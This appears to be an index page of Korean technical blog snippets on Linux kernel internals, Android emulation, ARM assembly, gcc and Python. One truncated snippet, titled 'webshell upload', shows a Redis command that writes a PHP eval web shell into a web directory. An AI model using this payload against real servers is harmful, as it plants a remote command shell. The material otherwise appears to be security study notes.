(kernel) Page Protection
Page Protection x86 #1 set_pages_rw , change_page_attr source/arch/x86/mm/pageattr.c int set\_pages\_rw(struct page \*page, int numpages) // use virt\_to\_page() { unsigned long addr = (unsig...
Page Protection x86 #1 set_pages_rw , change_page_attr source/arch/x86/mm/pageattr.c int set\_pages\_rw(struct page \*page, int numpages) // use virt\_to\_page() { unsigned long addr = (unsig...
addr_limit system call은 원래 user mode에서 호출하도록 되어 있기 때문에, system call의 인자로 넘어오는 데이터는 user space의 데이터여야 한다. 인자로 kernel space의 데이터가 넘어오면 제대로 동작하지 않는다. kernel은 addr_limit를 기준으로 인자로 넘어온 데이터가 user space d...
Android https://developers.google.com/android/images 삼성도 android를 사용하고, android는 LINUX니까 삼성도 GPL 적용을 받지 않을까? 소스코드 공개해놓았다고 하는데 나중에 필요하면 찾아보기. http://www.android-x86.org/download- x86으로 porting한 이...
Loadable Kernel Module https://www.kernel.org/doc/Documentation/kbuild/modules.txt Note ) root가 아니면 insmod를 사용할 수 없기 때문에, LKM을 등록할 수 없다. LKM을 이용하면 커널을 recompile/reboot하지 않아도 커널에 기능을 추가/확장할 수 있다. ...
이 밖에 에뮬레이터로는 모모 앱 플레이어, 녹스, 블루스택이 있음 Quick EMUlator 1. qemu 설치 sudo apt-get install qemu-user-static qemu-system-arm 2. 이미지 / 부트로더 / 커널 커널이 필요하고, 커널을 넣을 이미지 파일이 필요하고, arm system의 경우 바이오스가 없기 때...
virt_to_phys 직접 호출하고 싶다면 kernel mode에서 실행해야 하기 때문에 LKM 등을 사용해야 하며, 어느 아키텍쳐든 최종 인터페이스로 다음 함수를 제공하기 때문에 이를 사용하는 편이 좋다. static inline phys\_addr\_t virt\_to\_phys(volatile void \*address) x86 ( not...
http://recipes.egloos.com/5027277 http://armconverter.com/- 주소 부분이 0xffffff???로 나올 때는 직접 수정해주면 된다. ARM assembly instruction은 기본적인 명령어에 추가적인 옵션을 덧붙여 사용하는 식으로 구성되어 있다. RISK라서 모든 instruction의 크...
webshell upload FLUSHALL eval 'redis.call("set", "<?php eval($\_GET[cmd]); ?>", "test"); redis.call("config", "set", "dir", "/var/www/html/cache/"); redis.call("config", "set", "dbfilename",...
gcc 공유 라이브러리 제작 / 사용 옵션 -fPIC PIC : Position-Independent Code를 생성한다. shared library같은 경우 메모리의 어느 위치에 로딩되는지가 컴파일 타임에 결정되지 않기 때문에 절대주소 대신 상대주소(offset)를 사용하도록 컴파일하는 옵션이다. 즉, 다른 바이너리에서 이 라이브러리의 함수를 호...
open 함수 >>> fd = os.open("./f", os.O\_RDWR) >>> fd 8 >>> fdo = os.fdopen(fd, "wb") >>> fdo <open file '<fdopen>', mode 'wb' at 0x7feb23f57780> >&...